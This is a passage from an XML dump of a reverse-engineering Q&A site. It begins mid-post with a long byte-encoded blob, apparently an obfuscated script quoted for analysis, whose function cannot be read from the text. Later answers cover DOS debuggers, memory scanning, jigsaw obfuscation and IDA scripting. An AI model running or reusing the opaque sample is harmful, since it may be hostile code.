\xfdca\xfdba\xfdbd\xfdc6\xfdc8\xfdc0\xfdbc\xfda6\xfdc8\xfdbe\xfdc2\xfdc1\xfdc6\xfdc1\xfdcb\xfdbd\xfdcb\xfdc4\xfdc6\xfdc1\xfdc6\xfdc4\xfdc7\xfdc1\xfdbd\xfdc8\xfdbe\xfdc2\xfdc1\xfdbd\xfdbe\xfdc0\xfdcb\xfdc4\xfdc8\xfdc7\xfdca\xfd97\xfdbd\xfdbd\xfdcc\xfdca\xfdc1\xfdca\xfda6\xfd94\xfd9a\xfdcc\xfdca\xfdc1\xfdca\xfdbd\xfdc4\xfdc0\xfd9a\xfd94\xfd97\xfdbd\xfdbd\xfdbe\xfda6\xfd9e\xfd97\xfdbd\xfdbd\xfdc0\xfdce\xfdc7\xfda6\xfda2\xfda4\xfda3\xfdbe\xfdab\xfda1\xfdcf\xfda1\xfdaa\xfdac\xfd9c\xfd97\xfdbd\xfdbd\xfdca\xfdc1\xfdc9\xfda6\xfdc0\xfd97\xfdc2\xfdbf\xfdbd\xfdc0\xfdcb\xfdca\xfdc2\xfda6\xfd94\xfd9a\xfdc2\xfdbf\xfdbd\xfdc0\xfdcb\xfdca\xfdc2\xfd9a\xfd94\xfd97\xfdc8\xfdc3\xfdca\xfdcb\xfdbe\xfdc6\xfdc8\xfda6\xfd94\xfda5\xfd93\xfdb3\xfdbe\xfdc2\xfdc1\xfd9c\xfdc8\xfdc8\xfdc1\xfdc7\xfd98\xfd94\xfdb3\xfdb2\xfdb5\xfdb6\xfd94\xfd9b\xfd93\xfdb3\xfdbe\xfdc2\xfdc1\xfdb6\xfdb4\xfdb0\xfd9b\xfd93\xfdcb\xfdca\xfdcc\xfdc1\xfd99\xfda5\xfd93\xfdb3\xfdbe\xfdc2\xfdc1\xfd9c\xfdc8\xfdc7\xfdca\xfdc1\xfdbe\xfdc0\xfdce\xfdca\xfdcb\xfdbe\xfdcb\xfdc1\xfdc0\xfdc3\xfdbe\xfdc7\xfdc2\xfdc1\xfd93\xfda6\xfd93\xfdc2\xfdcc\xfdc7\xfdc0\xfdcb\xfdc4\xfdc8\xfdc7\xfd93\xfd98\xfd99\xfd93\xfdd0\xfd93\xfdc4\xfdc2\xfd93\xfd98\xfdb3\xfdbe\xfdc2\xfdc1\xfd9c\xfdca\xfdc1\xfdbe\xfdc0\xfdce\xfdb5\xfdcb\xfdbe\xfdcb\xfdc1\xfd93\xfda6\xfda6\xfd93\xfda0\xfd93\xfd97\xfd97\xfd93\xfdb3\xfdbe\xfdc2\xfdc1\xfd9c\xfdca\xfdcb\xfdbe\xfdcb\xfdcc\xfdca\xfd93\xfda6\xfda6\xfd93\xfd9f\xfd9e\xfd9e\xfd99\xfd93\xfdd0\xfd93\xfdb3\xfdbe\xfdc2\xfdc1\xfd9c\xfdc0\xfdc6\xfdc8\xfdca\xfdc1\xfda5\xfd93\xfdd1\xfd93\xfdd1\xfda5\xfd93\xfdb3\xfdbe\xfdc2\xfdc1\xfd9c\xfdca\xfdc1\xfdc7\xfdc0\xfd98\xfdb3\xfdbe\xfdc2\xfdc1\xfdb3\xfdbe\xfdca\xfdbe\xfdc6\xfdca\xfd99\xfda5\xfd93\xfdd1\xfd93\xfd84\xfd9d\xfd9d\xfdb0\xfdc8\xfdc7\xfdc2\xfdb3\xfdbe\xfdc2\xfdc1\xfd84\xfdb0\xfdc4\xfdc5\xfdc1\xfd98\xfd94\xfda0\xfda0\xfda2\xfd9e\xfda1\xfda2\xfda2\xfd9e\xfda0\xfd9e\xfda2\xfda4\xfda3\xfd9e\xfd9e\xfd94\xfd99\xfda5\xfd84\xfdb0\xfdc4\xfdc5\xfdc1\xfd98\xfd94\xfd9e\xfda1\xfda2\xfda2\xfd9e\xfda2\xfd9e\xfda0\xfda2\xfda3\xfda0\xfda2\xfda0\xfda2\xfda0\xfd94\xfd99\xfda5\xfd84\xfdb0\xfdc4\xfdc5\xfdc1\xfd98\xfd94\xfda0\xfda2\xfd9e\xfda0\xfda0\xfd9f\xfda0\xfda2\xfd9e\xfda2\xfda0\xfda2\xfda4\xfda0\xfd9e\xfd94\xfd99\xfda5\xfd84\xfdb0\xfdc4\xfdc5\xfdc1\xfd98\xfd94\xfd9f\xfd9f\xfda4\xfda4\xfda2\xfda0\xfda3\xfda2\xfda2\xfd9e\xfda2\xfd9e\xfd9f\xfda0\xfd9f\xfd94\xfd99\xfda5\xfd84\xfdb0\xfdc4\xfdc5\xfdc1\xfd98\xfd94\xfda1\xfd9e\xfda2\xfda2\xfda1\xfda0\xfd9f\xfda1\xfd9e\xfda2\xfda0\xfda4\xfda2\xfda2\xfda0\xfd94\xfd99\xfda5\xfd84\xfdb0\xfdc4\xfdc5\xfdc1\xfd98\xfd94\xfda0\xfd9e\xfda4\xfda1\xfda2\xfda1\xfda0\xfda0\xfda3\xfd9e\xfda2\xfd9f\xfda2\xfd9f\xfda0\xfd94\xfd99\xfda5\xfd84\xfd9d\xfd9d\xfdae\xfdc4\xfdc1\xfdcc\xfdb3\xfdbe\xfdc2\xfdc1\xfd84\xfdb0\xfdc4\xfdc5\xfdc1\xfd98\xfd94\xfda0\xfd9f\xfda0\xfda0\xfda3\xfda0\xfda0\xfda0\xfda0\xfda0\xfd9f\xfda4\xfda0\xfd9e\xfd9e\xfd94\xfd99\xfda5\xfd84\xfdb0\xfdc4\xfdc5\xfdc1\xfd98\xfd94\xfd9f\xfd9e\xfd9e\xfda2\xfda2\xfda4\xfd9e\xfda2\xfda0\xfda0\xfda0\xfda3\xfd9e\xfda4\xfda1\xfd94\xfd99\xfda5\xfd84\xfdb0\xfdc4\xfdc5\xfdc1\xfd98\xfd94\xfd9e\xfda0\xfd9e\xfda4\xfd9e\xfd9e\xfda2\xfda4\xfda0\xfda1\xfda1\xfda0\xfda4\xfda0\xfda0\xfd94\xfd99\xfda5\xfd84\xfd9d\xfd9d\xfdb5\xfdc8\xfdc0\xfdbe\xfdb3\xfdbe\xfdc2\xfdc1\xfd84\xfdb0\xfdc4\xfdc5\xfdc1\xfd98\xfd94\xfda0\xfda0\xfd9f\xfd9f\xfd9f\xfd9e\xfda2\xfda2\xfda2\xfda3\xfda3\xfd9f\xfd9f\xfda4\xfd9e\xfd94\xfd99\xfda5\xfd84\xfdb0\xfdc4\xfdc5\xfdc1\xfd98\xfd94\xfda2\xfd9e\xfda2\xfda1\xfda2\xfda1\xfda0\xfd9e\xfda3\xfda0\xfda3\xfda3\xfda2\xfd9f\xfda3\xfd94\xfd99\xfda5\xfd93\xfd84\xfdb0\xfdc4\xfdc5\xfdc1\xfd98\xfd94\xfda2\xfda0\xfda2\xfda2\xfda2\xfda4\xfd9e\xfda0\xfda4\xfda1\xfda3\xfda2\xfda1\xfd9f\xfd9f\xfd94\xfd99\xfda5\xfd93\xfd84\xfd9d\xfd9d\xfdb6\xfdc3\xfdbe\xfdc4\xfdb5\xfdc8\xfdc7\xfdb3\xfdbe\xfdc2\xfdc1\xfd84\xfdb0\xfdc4\xfdc5\xfdc1\xfd98\xfd94\xfd9f\xfd9f\xfd9e\xfda0\xfda1\xfda0\xfda0\xfda0\xfda3\xfd9e\xfd9f\xfda0\xfd9f\xfd9e\xfda3\xfd94\xfd99\xfda5\xfd84\xfd9d\xfd9d\xfdb3\xfdc3\xfdcc\xfdb0\xfdc8\xfdce\xfdb3\xfdbe\xfdc2\xfdc1\xfd84\xfdb0\xfdc4\xfdc5\xfdc1\xfd98\xfd94\xfd9f\xfd9f\xfd9f\xfda1\xfda1\xfd9f\xfda0\xfda2\xfd9e\xfd9f\xfda0\xfd9e\xfda4\xfd9f\xfda2\xfd94\xfd99\xfda5\xfd84\xfdb0\xfdc4\xfdc5\xfdc1\xfd98\xfd94\xfd9e\xfda2\xfda2\xfda2\xfda3\xfd9f\xfda0\xfda4\xfda2\xfda3\xfda2\xfd9e\xfda3\xfda3\xfda1\xfd94\xfd99\xfda5\xfd84\xfdb0\xfdc4\xfdc5\xfdc1\xfd98\xfd94\xfda1\xfda2\xfd9e\xfda2\xfda3\xfda2\xfda4\xfd9e\xfda2\xfda0\xfda0\xfda2\xfda3\xfda2\xfda0\xfd94\xfd99\xfda5\xfd84\xfd9d\xfd9d\xfdaa\xfdcc\xfdc8\xfdc7\xfdc2\xfdb0\xfdb5\xfdb3\xfdbe\xfdc2\xfdc1\xfd84\xfdb0\xfdc4\xfdc5\xfdc1\xfd98\xfd94\xfda0\xfd9e\xfda4\xfda3\xfd9e\xfda2\xfda0\xfda2\xfd9e\xfda0\xfda0\xfd9f\xfda4\xfda0\xfd9e\xfd94\xfd99\xfda5\xfd84\xfdb0\xfdc4\xfdc5\xfdc1\xfd98\xfd94\xfda1\xfda0\xfda1\xfda1\xfda2\xfda1\xfd9f\xfd9e\xfda1\xfda1\xfd9f\xfd9e\xfda4\xfd9e\xfda3\xfd94\xfd99\xfda5\xfd84\xfd9d\xfd9d\xfdab\xfdbe\xfdc7\xfdc2\xfdae\xfdbe\xfdc4\xfdb3\xfdc3\xfdc8\xfdc7\xfdc2\xfdb3\xfdbe\xfdc2\xfdc1\xfd84\xfdb0\xfdc4\xfdc5\xfdc1\xfd98\xfd94\xfd9f\xfd9e\xfda2\xfda3\xfda4\xfda0\xfda2\xfd9e\xfda4\xfda0\xfda3\xfd9f\xfda4\xfd9e\xfda0\xfd94\xfd99\xfda5\xfd84\xfdb0\xfdc4\xfdc5\xfdc1\xfd98\xfd94\xfda0\xfda4\xfd9e\xfd9e\xfda1\xfd9e\xfda1\xfda4\xfda0\xfda0\xfd9f\xfda2\xfda0\xfd9e\xfd9e\xfd94\xfd99\xfda5\xfd84\xfd9d\xfd9d\xfdb6\xfdc4\xfdc6\xfdac\xfdc6\xfdb3\xfdbe\xfdc2\xfdc1\xfd84\xfdb0\xfdc4\xfdc5\xfdc1\xfd98\xfd94\xfd9e\xfd9f\xfda1\xfda2\xfda2\xfda2\xfda2\xfda1\xfd9e\xfda4\xfda2\xfd9e\xfd9e\xfda1\xfd9e\xfd94\xfd99\xfda5\xfd93\xfd84\xfdb0\xfdc4\xfdc5\xfdc1\xfd98\xfd94\xfd9f\xfd9e\xfda2\xfd9e\xfda1\xfd9e\xfd9e\xfd9f\xfda4\xfda0\xfda2\xfda0\xfda2\xfd9e\xfda2\xfd94\xfd99\xfda5\xfd93\xfd84\xfd9d\xfd9d\xfdb2\xfdc2\xfdc8\xfdc0\xfdae\xfdc4\xfdc1\xfdcc\xfdb3\xfdbe\xfdc2\xfdc1\xfd84\xfdb0\xfdc4\xfdc5\xfdc1\xfd98\xfd94\xfd9e\xfda0\xfda1\xfda1\xfd9f\xfda2\xfd9f\xfda4\xfd9f\xfda0\xfda2\xfda4\xfda4\xfda2\xfda2\xfda3\xfd94\xfd99\xfda5\xfd84\xfdb0\xfdc4\xfdc5\xfdc1\xfd98\xfd94\xfd9e\xfda0\xfda3\xfda1\xfd9e\xfda1\xfda2\xfda2\xfda0\xfd9e\xfd9f\xfda0\xfda2\xfda2\xfd9f\xfd94\xfd99\xfda5\xfd84\xfdb0\xfdc4\xfdc5\xfdc1\xfd98\xfd94\xfd9f\xfda3\xfda0\xfd9e\xfda2\xfda2\xfd9e\xfd9e\xfda1\xfd9e\xfda0\xfda1\xfda4\xfda2\xfda2\xfd94\xfd99\xfda5\xfd84\xfdcc\xfdbe\xfdca\xfd93\xfdcc\xfdca\xfdc1\xfdca\xfdbd\xfdc4\xfdc0\xfd93\xfda6\xfd93\xfdc0\xfdc8\xfdc0\xfdcc\xfdc6\xfdc1\xfdc7\xfdcb\xfd9c\xfdc0\xfdc8\xfdc8\xfdc5\xfdc4\xfdc1\xfd9c\xfdc6\xfdbe\xfdcb\xfdc0\xfdc3\xfd98\xfdc0\xfdc8\xfdc0\xfdcc\xfdc6\xfdc1\xfdc7\xfdcb\xfd9c\xfdc0\xfdc8\xfdc8\xfdc5\xfdc4\xfdc1\xfd9c\xfdc6\xfdbe\xfdcb\xfdc0\xfdc3\xfd98\xfd9d\xfdc0\xfdbd\xfdcc\xfdca\xfdc1\xfdca\xfda6\xfd98\xfdbb\xfdc0\xfd9a\xfd99\xfd9d\xfd99\xfdba\xfd9e\xfdbc\xfd99\xfda5\xfd93\xfdcc\xfdbe\xfdca\xfd93\xfdc2\xfdbf\xfdbd\xfdc0\xfdcb\xfdca\xfdc2\xfd93\xfda6\xfd93\xfdc0\xfdc8\xfdc0\xfdcc\xfdc6\xfdc1\xfdc7\xfdcb\xfd9c\xfdc2\xfdc1\xfdcb\xfdac\xfdc6\xfdc1\xfdc6\xfdc1\xfdc7\xfdcb\xfdca\xfdaa\xfdce\xfdb2\xfdbe\xfdc6\xfdc1\xfd98\xfd98\xfdc2\xfdbf\xfdbd\xfdc0\xfdcb\xfdca\xfdc2\xfd98\xfd99\xfdba\xfd9e\xfdbc\xfd9c\xfdcc\xfdbe\xfdc6\xfdcc\xfdc1\xfda5\xfd93\xfdcc\xfdbe\xfdca\xfd93\xfdc7\xfdc8\xfdcd\xfda6\xfd98\xfdc7\xfdc1\xfdcd\xfd93\xfdab\xfdbe\xfdcb\xfdc1\xfd99\xfd9c\xfdc2\xfdc1\xfdcb\xfdb6\xfdc4\xfdc6\xfdc1\xfd98\xfd99\xfda5\xfd93\xfdc2\xfdcc\xfdc7\xfdc0\xfdcb\xfdc4\xfdc8\xfdc7\xfd93\xfdb3\xfd98\xfdc8\xfdc8\xfdc8\xfd99\xfd93\xfdd0\xfd93\xfdcc\xfdbe\xfdca\xfd93\xfdb8\xfd93\xfda6\xfd93\xfdc7\xfdc1\xfdcd\xfd93\xfdb8\xfdb1\xfdb0\xfdae\xfdcb\xfdcb\xfdc8\xfdb4\xfdc1\xfdc9\xfdcc\xfdc1\xfdca\xfdcb\xfd98\xfd99\xfda5\xfd93\xfdcc\xfdbe\xfdca\xfd93\xfdb8\xfdb6\xfdb4\xfdb0\xfd93\xfda6\xfd94\xfd9d\xfd9d\xfdcd\xfdcd\xfdcd\xfd9c\xfdc2\xfdbe\xfdc0\xfdc1\xfdbf\xfdc8\xfdc8\xfdc5\xfd9c\xfdc0\xfdc8\xfdc6\xfd9d\xfdbe\xfdc4\xfdbe\xfdce\xfd9d\xfdcc\xfdc2\xfdc4\xfd9d\xfdc6\xfdc4\xfdc5\xfdc1\xfd9c\xfdc8\xfdc3\xfdc8\xfd94\xfda5\xfd93\xfdcc\xfdbe\xfdca\xfd93\xfdb8\xfdb3\xfdbe\xfdca\xfdbe\xfdc6\xfdca\xfd93\xfda6\xfd93\xfd94\xfdc6\xfdc4\xfdc5\xfdc1\xfdbd\xfdbe\xfdc0\xfdcb\xfdc4\xfdc8\xfdc7\xfda6\xfdcb\xfdca\xfdcc\xfdc1\xfd97\xfdc2\xfdcb\xfdbd\xfdc1\xfdc7\xfdcb\xfdbd\xfdc4\xfdc0\xfdc1\xfdc7\xfdcb\xfdc4\xfdc2\xfdc4\xfdc1\xfdca\xfda6\xfd94\xfd9a\xfdc8\xfdc8\xfdc8\xfd9a\xfd94\xfd97\xfdca\xfdc8\xfdcc\xfdca\xfdc0\xfdc1\xfda6\xfd9e\xfd97\xfdc0\xfdc6\xfdc4\xfdc1\xfdc7\xfdcb\xfdbd\xfdc4\xfdc0\xfda6\xfd94\xfd9a\xfdc7\xfdc8\xfdcd\xfd9a\xfd94\xfd96\xfda0\xfda9\xfda0\xfda2\xfda4\xfda2\xfda3\xfda0\xfda3\xfda1\xfda2\xfd97\xfdca\xfdc8\xfdc8\xfdcb\xfdc4\xfdc0\xfda6\xfdcc\xfdbd\xfdc4\xfdca\xfdc8\xfdc7\xfdc8\xfdbd\xfda0\xfda4\xfdbd\xfd9e\xfda3\xfd97\xfdc2\xfdc4\xfdc2\xfdcb\xfdc8\xfdc0\xfdc0\xfdbe\xfdca\xfdc4\xfdc8\xfdc7\xfd97\xfdc2\xfdcb\xfdba\xfdcb\xfdc7\xfdbc\xfda6\xfd96\xfda0\xfdac\xfd96\xfda0\xfdab\xfd97\xfdc2\xfdcb\xfdba\xfdcb\xfdce\xfdc8\xfdc1\xfdbc\xfda6\xfd9f\xfd9e\xfd97\xfdc2\xfdcb\xfdba\xfdc9\xfdc4\xfdc0\xfdbc\xfda6\xfda1\xfda3\xfda4\xfd9e\xfda3\xfd9e\xfd9e\xfda0\xfd9f\xfda4\xfda0\xfda2\xfd9e\xfd9f\xfda2\xfda4\xfd9f\xfda1\xfda2\xfd97\xfdc2\xfdcb\xfdba\xfdc6\xfdc2\xfdbd\xfdca\xfdcb\xfdc8\xfdca\xfdce\xfdbd\xfdc5\xfdc1\xfdce\xfdbc\xfda6\xfd9f\xfda3\xfd9e\xfda0\xfda4\xfda2\xfd9f\xfda4\xfd9e\xfd9e\xfd9e\xfda4\xfda0\xfd9e\xfda0\xfda0\xfda4\xfda1\xfd9f\xfd97\xfdc2\xfdcb\xfdba\xfdc3\xfdbe\xfdca\xfdbd\xfdc1\xfdce\xfdc8\xfdbe\xfdc7\xfdc0\xfdc1\xfdc0\xfdbd\xfdcc\xfdc2\xfdc4\xfdbc\xfda6\xfd9e\xfd97\xfdc7\xfdc0\xfdcb\xfdca\xfdba\xfdbd\xfdc6\xfdc8\xfdc0\xfdbc\xfda6\xfdc8\xfdbe\xfdc2\xfdc1\xfdc6\xfdc1\xfdcb\xfdbd\xfdc3\xfdc8\xfdc6\xfdc1\xfdbd\xfdca\xfdcb\xfdca\xfdc1\xfdbe\xfdc6\xfd97\xfdbd\xfdbd\xfdcc\xfdca\xfdc1\xfdca\xfda6\xfd94\xfd9a\xfdcc\xfdca\xfdc1\xfdca\xfdbd\xfdc4\xfdc0\xfd9a\xfd94\xfd97\xfdbd\xfdbd\xfdbe\xfda6\xfd9e\xfd97\xfdbd\xfdbd\xfdc0\xfdce\xfdc7\xfda6\xfda2\xfdc7\xfda3\xfda3\xfdb4\xfdc8\xfda9\xfdb1\xfdaa\xfdc6\xfdaa\xfdc6\xfdce\xfdc8\xfdc0\xfdc8\xfdbe\xfdc1\xfd97\xfdbd\xfdbd\xfdca\xfdc1\xfdc9\xfda6\xfdc2\xfda0\xfd97\xfdc2\xfdbf\xfdbd\xfdc0\xfdcb\xfdca\xfdc2\xfda6\xfd94\xfd9a\xfdc2\xfdbf\xfdbd\xfdc0\xfdcb\xfdca\xfdc2\xfd9a\xfd94\xfd97\xfdc8\xfdc3\xfdca\xfdcb\xfdbe\xfdc6\xfdc8\xfda6\xfd94\xfda5\xfd93\xfdb8\xfd9c\xfdc8\xfdc8\xfdc1\xfdc7\xfd98\xfd94\xfdb3\xfdb2\xfdb5\xfdb6\xfd94\xfd9b\xfd93\xfdb8\xfdb6\xfdb4\xfdb0\xfd9b\xfd93\xfdcb\xfdca\xfdcc\xfdc1\xfd99\xfda5\xfd93\xfdb8\xfd9c\xfdc8\xfdc7\xfdca\xfdc1\xfdbe\xfdc0\xfdce\xfdca\xfdcb\xfdbe\xfdcb\xfdc1\xfdc0\xfdc3\xfdbe\xfdc7\xfdc2\xfdc1\xfd93\xfda6\xfd93\xfdc2\xfdcc\xfdc7\xfdc0\xfdcb\xfdc4\xfdc8\xfdc7\xfd93\xfd98\xfd99\xfd93\xfdd0\xfd93\xfdc4\xfdc2\xfd93\xfd98\xfdb8\xfd9c\xfdca\xfdc1\xfdbe\xfdc0\xfdce\xfdb5\xfdcb\xfdbe\xfdcb\xfdc1\xfd93\xfda6\xfda6\xfd93\xfda0\xfd93\xfd97\xfd97\xfd93\xfdb8\xfd9c\xfdca\xfdcb\xfdbe\xfdcb\xfdcc\xfdca\xfd93\xfda6\xfda6\xfd93\xfd9f\xfd9e\xfd9e\xfd99\xfd93\xfdd0\xfd93\xfdb8\xfd9c\xfdc0\xfdc6\xfdc8\xfdca\xfdc1\xfda5\xfd93\xfdd1\xfd93\xfdd1\xfda5\xfd93\xfdb8\xfd9c\xfdca\xfdc1\xfdc7\xfdc0\xfd98\xfdb8\xfdb3\xfdbe\xfdca\xfdbe\xfdc6\xfdca\xfd99\xfda5\xfd93\xfdd1\xfd93\xfd84\xfd9d\xfd9d\xfdb0\xfdc8\xfdc7\xfdc2\xfdb3\xfdc4\xfdc0\xfd84\xfdb3\xfd98\xfd94\xfd9f\xfd9e\xfda1\xfda4\xfda4\xfd9e\xfda0\xfd9e\xfda4\xfda1\xfda2\xfda2\xfda3\xfda2\xfda2\xfd94\xfd99\xfda5\xfd84\xfdb3\xfd98\xfd94\xfd9f\xfd9f\xfda2\xfda0\xfda2\xfd9e\xfda2\xfda3\xfda0\xfd9e\xfda4\xfda2\xfda1\xfda4\xfda2\xfd94\xfd99\xfda5\xfd84\xfdb3\xfd98\xfd94\xfd9f\xfd9e\xfda1\xfda3\xfda2\xfda2\xfda4\xfd9e\xfda1\xfd9f\xfda1\xfda2\xfda4\xfda3\xfda1\xfd94\xfd99\xfda5\xfd84\xfdb3\xfd98\xfd94\xfd9f\xfd9e\xfda4\xfda0\xfd9f\xfda3\xfda1\xfd9e\xfda1\xfda4\xfd9e\xfd9e\xfda3\xfd9f\xfda1\xfd94\xfd99\xfda5\xfd84\xfd9d\xfd9d\xfdae\xfdc4\xfdc1\xfdcc\xfdb3\xfdc4\xfdc0\xfd84\xfdb3\xfd98\xfd94\xfda1\xfd9f\xfda2\xfda0\xfda0\xfda3\xfda3\xfda0\xfda2\xfda0\xfd9f\xfd9f\xfda1\xfda4\xfd9e\xfd94\xfd99\xfda5\xfd84\xfdb3\xfd98\xfd94\xfda1\xfd9e\xfda1\xfd9f\xfda0\xfda3\xfda4\xfd9f\xfda4\xfda1\xfda0\xfd9f\xfda1\xfda3\xfd9f\xfd94\xfd99\xfda5\xfd84\xfdb3\xfd98\xfd94\xfda0\xfda4\xfda1\xfd9e\xfd9e\xfd9e\xfd9f\xfda2\xfda0\xfda3\xfda4\xfd9e\xfda2\xfda3\xfd9f\xfd94\xfd99\xfda5\xfd84\xfdb3\xfd98\xfd94\xfda0\xfda4\xfd9e\xfd9e\xfda0\xfd9e\xfda2\xfda4\xfda2\xfda2\xfda0\xfd9e\xfd9e\xfda2\xfd9f\xfd94\xfd99\xfda5\xfd84\xfdb3\xfd98\xfd94\xfda0\xfda4\xfd9e\xfda2\xfda2\xfd9e\xfd9f\xfda0\xfd9e\xfd9e\xfd9e\xfd9e\xfda0\xfda1\xfd9e\xfd94\xfd99\xfda5\xfd84\xfdb3\xfd98\xfd94\xfda0\xfd9f\xfda3\xfda0\xfd9e\xfda1\xfda3\xfd9f\xfda0\xfda4\xfd9e\xfda0\xfda1\xfda2\xfd9e\xfd94\xfd99\xfda5\xfd84\xfd9d\xfd9d\xfdb5\xfdc8\xfdc0\xfdbe\xfdb3\xfdc4\xfdc0\xfd84\xfdb3\xfd98\xfd94\xfd9e\xfda0\xfda4\xfda1\xfd9e\xfd9f\xfda4\xfda1\xfda0\xfd9e\xfda2\xfd9f\xfda0\xfda1\xfda0\xfda2\xfd94\xfd99\xfda5\xfd84\xfd9d\xfd9d\xfdb6\xfdc3\xfdbe\xfdc4\xfdb5\xfdc8\xfdc7\xfdb3\xfdc4\xfdc0\xfd84\xfdb3\xfd98\xfd94\xfd9f\xfda0\xfda0\xfd9e\xfda2\xfda2\xfda0\xfd9f\xfd9f\xfda0\xfd9e\xfda0\xfda2\xfda0\xfda0\xfd94\xfd99\xfda5\xfd84\xfd9d\xfd9d\xfdb3\xfdc3\xfdcc\xfdb0\xfdc8\xfdce\xfdb3\xfdc4\xfdc0\xfd84\xfdb3\xfd98\xfd94\xfd9f\xfd9e\xfda0\xfd9f\xfda2\xfda3\xfda3\xfda0\xfda0\xfd9e\xfda2\xfd9e\xfd9e\xfd9e\xfd9e\xfd94\xfd99\xfda5\xfd84\xfd9d\xfd9d\xfdab\xfdbe\xfdc7\xfdc2\xfdae\xfdbe\xfdc4\xfdb3\xfdc3\xfdc8\xfdc7\xfdc2\xfdb3\xfdc4\xfdc0\xfd84\xfdb3\xfd98\xfd94\xfda0\xfda4\xfda0\xfd9e\xfda0\xfda1\xfda3\xfda1\xfd9e\xfda3\xfd9f\xfd9f\xfda0\xfda0\xfd9e\xfd94\xfd99\xfda5\xfd84\xfd9d\xfd9d\xfdb6\xfdc3\xfdc4\xfdad\xfdc4\xfdbe\xfdb3\xfdc4\xfdc0\xfd84\xfdb3\xfd98\xfd94\xfd9e\xfda2\xfda3\xfda2\xfd9e\xfda2\xfd9e\xfda0\xfd9e\xfd9e\xfd9e\xfda0\xfda3\xfda2\xfd9f\xfd94\xfd99\xfda5\xfd84\xfd9d\xfd9d\xfdb6\xfdc4\xfdc6\xfdac\xfdc6\xfdb3\xfdc4\xfdc0\xfd84\xfdb3\xfd98\xfd94\xfd9e\xfda0\xfd9e\xfd9e\xfda2\xfda4\xfd9e\xfda2\xfda1\xfda1\xfda3\xfd9e\xfda2\xfda4\xfda1\xfda1\xfd94\xfd99\xfda5&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-11-24T17:43:02.390" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3088" PostTypeId="2" ParentId="3074" CreationDate="2013-11-24T21:16:15.147" Score="3" Body="&lt;p&gt;Two useful DOS debuggers come into my mind: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;SoftIce &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;DeGlucker. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;SoftIce is commercial, DeGlucker is freeware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; Gametools (G3X) is also a very useful TSR debugger for DOS. The best feature in Gametools is its memory scanner that can scan memory for exact values, for greater values than previous time and for lesser values than previous time. Then you can set hardware memory breakpoints on the matching memory addresses (when you have sufficiently few memory addresses left, usually after some rounds) and that way you can find the essential routines that access those memory addresses. If I had to reverse-engineer a DOS application, I would definitely start with Gametools.&lt;/p&gt;&#xA;" OwnerUserId="1648" LastEditorUserId="1648" LastEditDate="2013-12-13T00:54:36.760" LastActivityDate="2013-12-13T00:54:36.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3089" PostTypeId="2" ParentId="2586" CreationDate="2013-11-24T21:38:36.733" Score="1" Body="&lt;p&gt;I still wonder should I add a comment on this because my knowledge on the cryptography is extremely limited. The paper on the jigsaw obfuscation uses a term named &lt;em&gt;functional encryption&lt;/em&gt;, that means with the private key in hand the obfuscator can design some functions working on the encrypted data. And someone without the private key can use these functions on the encrypted data, but still know nothing about the data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the obfuscator designs a function plus1 satisfying: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;plus1(encrypted(x)) = encrypted(x+1)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;the attacker will know that if he uses plus1, he can increase x by 1, but he does not know anything about the value of x. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now with the jigsaw obfuscation, given a program P with some input a, the obfuscator will encrypt the obfuscated program p as p = encrypt(P), then design a function F with input is some pair (p, a) satisfying: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;F(p,a) = decrypt(p)(a) = P(a)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;(note that F satisfies the equivalence above but the design of F is not trivial like that), and that means the attacker can always use F and p to get the output P(a), but he does not know anything about P.&lt;/p&gt;&#xA;" OwnerUserId="1619" LastEditorUserId="1619" LastEditDate="2013-11-24T21:57:07.660" LastActivityDate="2013-11-24T21:57:07.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3090" PostTypeId="1" AcceptedAnswerId="3092" CreationDate="2013-11-25T21:20:26.137" Score="5" ViewCount="1186" Body="&lt;p&gt;I'ld like to know how to bulk rename functions in IDA, based on some condition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&#xA;Rename all functions to Foo_XYZ where the function accesses a certain static variable, for example : dword_12345.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would help me a lot, because I know that address would be only accessed from functions that can be associated with some logic/functionality in the application.&lt;/p&gt;&#xA;" OwnerUserId="2354" LastEditorUserId="2354" LastEditDate="2013-11-25T23:12:39.753" LastActivityDate="2013-11-25T23:12:39.753" Title="Automatic function naming" Tags="|ida|static-analysis|memory|strings|functions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3091" PostTypeId="2" ParentId="3090" CreationDate="2013-11-25T21:40:50.243" Score="4" Body="&lt;p&gt;You can write an IDC script to do this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/157.shtml&quot; rel=&quot;nofollow&quot;&gt;IDA Online Help - IDC Language&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-11-25T21:40:50.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3092" PostTypeId="2" ParentId="3090" CreationDate="2013-11-25T22:54:55.953" Score="9" Body="&lt;p&gt;The IDAScope plugin has similar functionality to rename functions based on the Windows API functions they are calling. You can find a standalone script here that does that &lt;a href=&quot;http://hooked-on-mnemonics.blogspot.fr/2012/06/automated-generic-function-naming-in.html&quot;&gt;http://hooked-on-mnemonics.blogspot.fr/2012/06/automated-generic-function-naming-in.html&lt;/a&gt; it should give you an idea how to implement what you are looking for.&lt;/p&gt;&#xA;" OwnerUserId="28" 